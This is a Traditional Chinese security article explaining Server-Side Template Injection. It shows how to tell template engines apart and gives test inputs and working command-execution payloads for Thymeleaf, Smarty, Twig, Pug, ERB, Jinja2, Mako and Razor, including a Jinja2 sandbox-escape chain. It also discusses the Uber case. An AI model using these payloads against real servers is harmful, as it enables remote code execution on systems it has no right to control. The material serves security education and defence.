SSTI惡意指令注入防不勝防,面對駭客惡意攻擊,要如何戒備與防範?
Server-Side Template Injection(SSTI)
Template概念
想要看更為詳細的Template介紹可以參考另一篇描述Client-Side Template Injection(CSTI)的文章,這邊簡單複習一下,模板(Template)類似一個有自己語法的程式語言,通過模板引擎(Template Engine)渲染出HTML頁面,其中根據模板引擎運行的地方分為Server-Side和Client-Side,而Template Injection也就是對於Template的處理不當導致惡意使用者可以在其中注入惡意指令。SSTI比起CSTI能造成的影響大多更為嚴重,因為CSTI只能影響使用者的瀏覽器Javascript,在瀏覽器中執行惡意JavaScript,功能受限於Javascript本身的限制,但SSTI有可能造成伺服器執行惡意的程式碼,進而導致有機會控制伺服器。Server-Side的模板引擎常用於需要大量模組化的針對使用者個人化頁面產出,像是E-Mail相關寄送、收據Invoice頁面、或是大量重複的頁面如購物商城商品頁面。
看更多:什麼是滲透測試?從網路資安看Client-Side Template Injection
SSTI介紹
SSTI主要的成因為程式碼中將使用者可控的輸入串接到模板中,或直接對使用者可控的輸入進行渲染,就一般而言使用者可控的輸入要透過模板的語法與變數進行操作,然而有些時候因為方便或疏忽便會有此問題的出現。在開始介紹各種語言的相關利用之前,可以先看PortSwigger研究總監James Kettle在2015年介紹的一個簡單辨識模板引擎的方法,這部分的判斷流程幾乎是SSTI聖經。
模板引擎識別
上圖中綠色代表執行成功,其中特別需要提到的是{{7*'7'}}在Twig中的輸出為49,Jinja2的輸出為7777777。
後端的模板引擎多種多樣,就算同一種後端語言也可能使用不同的模板引擎,因此以下會介紹一部份模板引擎中的SSTI攻擊方式。一般來說,會先使用測試用輸入,確認是否該模板引擎會將數學運算實行;若成立時,就會嘗試使用執行指令的語法注入後達成執行指令行為。
Thymeleaf
-Java的模板引擎
-測試用輸入
${7*7}
-執行指令(分為Spring框架的SpringEL或其它使用方式的OGNL)
SpringEL: ${T(java.lang.Runtime).getRuntime().exec('id')}
OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("id")}
-上述的測資在Thymeleaf中只有在此模板特定的屬性中才能使用,除此之外Thymeleaf提供一個名為expression prepocessing的功能,在測資的左右兩側加入__可以讓執行預處理的地方觸發此測資
Smarty
-PHP的模板引擎
-測試用輸入
{7*7}
-執行指令
{system('id')}
Symfony/Twig
-Twig是PHP的模板引擎,在Symfony框架中可能會遇到
-測試用輸入
{{7*7}}
-執行指令
{{['id']|filter('system')}}
PugJs
-NodeJS的模板引擎
-測試用輸入
#{7*7} = 49
-執行指令
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('id')}()}
ERB
-Ruby的模板引擎
-測試用輸入
<%= 7*7 %>
-執行指令
<%= system("id") %>
Flask/Jinja2
-CTF常見題目
-Jinja2是python的模板引擎,常見於Flask框架
-測試用輸入
{{7*'7'}}
-執行指令
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
-這裡的攻擊輸入相較於其他大多數模板引擎較長,這是因為Jinja2中沒有提供可以直接執行指令的函式,這裡用到一個比較刁鑽的方法:
1.透過字串的__class__獲得str class物件
2.透過mro()的最後一個回傳值獲得object class
-mro()回傳值為(呼叫的class,前一個class的base class,... )
-python所有物件直接或間接繼承object
3.在object的__subclasses__中可以找到如subprocess.Popen這類可以執行指令的class,利用這些class即可達成執行指令
-關於在更多限制下的限制繞過稱為python沙盒逃逸,有興趣的人可以去了解相關內容
Mako
-python的模版引擎
-測試用輸入
${7*7}
-執行指令
<%
import os
x=os.popen('id').read()
%>
${x}
Razor
-.Net的模板引擎
-測試用輸入
@(1+2)
-執行指令
@{ System.Diagnostics.Process.Start("calc"); }
實際案例
Smarty
由上面的案例中我們可以發現知道這個案例是Smarty的案例,其中使用的攻擊輸入與前面文中介紹的不太相同,文中使用的{php}在smarty v3中已被棄用,只能用於較舊的smarty版本。
Jinja2
此案例為台灣傳奇滲透師 Orange 於 2016 年分享的 Uber 遠端代碼執行。
由上面的案例中可以看出這是前面介紹的Jinja2 SSTI,並且會在信件中輸出渲染完的內容(文中攻擊輸入的_應該是被markdown語法吃掉了,所以字變粗體)。
根據 Orange 於個人 Blog 中所闡述的內容,因為注入點在修改個人資料中,進入到資料庫中後,再轉拋進寄信的相關系統中,而就是在寄信的這個流程中,具有模板系統,在信件中會帶入使用者名稱,也因此造成了 Uber 這一次的遠端代碼執行!
在這個部分也可以再次宣導,企業在執行原始碼執行時,切勿一定要記得來自於資料庫的輸入,也有可能是使用者輸入,未必就是可信任的資料來源。也因此在判斷原始碼掃描工具結果時,一些高風險和中風險的弱點,往往都是使用者輸入來自資料庫、或是其他應用程式的結果,切勿果斷直接信任這些資料輸入,而是應該盤點這些資料是否有機會讓使用者直接操縱、或是間接操縱的狀況。
總結
Injection原先就是影響系統原先設計的語法一種攻擊像是基本的:Command Injection、SQL Injection等等,一路進化到了現在,變成需要去操作語言相對應的語法及資料型態,相對的攻擊也變得更抽象、更不直觀,難度也隨之增加,攻擊者及測試的工程師都需要更廣更深的程式語言及開發基礎。於是乎,果核數位希望能讓更多的人了解並且明白這些弱點的小細節,希望這樣的文章能讓大家多了解一些新興技術開發出來的程式會出現的新風險!
看更多:
來自外部的威脅-XXE漏洞攻擊成因
JAVA世界中不安全的反序列化風險
Reference
-https://portswigger.net/research/server-side-template-injection
-https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
-https://hackerone.com/reports/164224
-https://hackerone.com/reports/125980
-http://blog.orange.tw/2016/04/bug-bounty-uber-ubercom-remote-code_7.html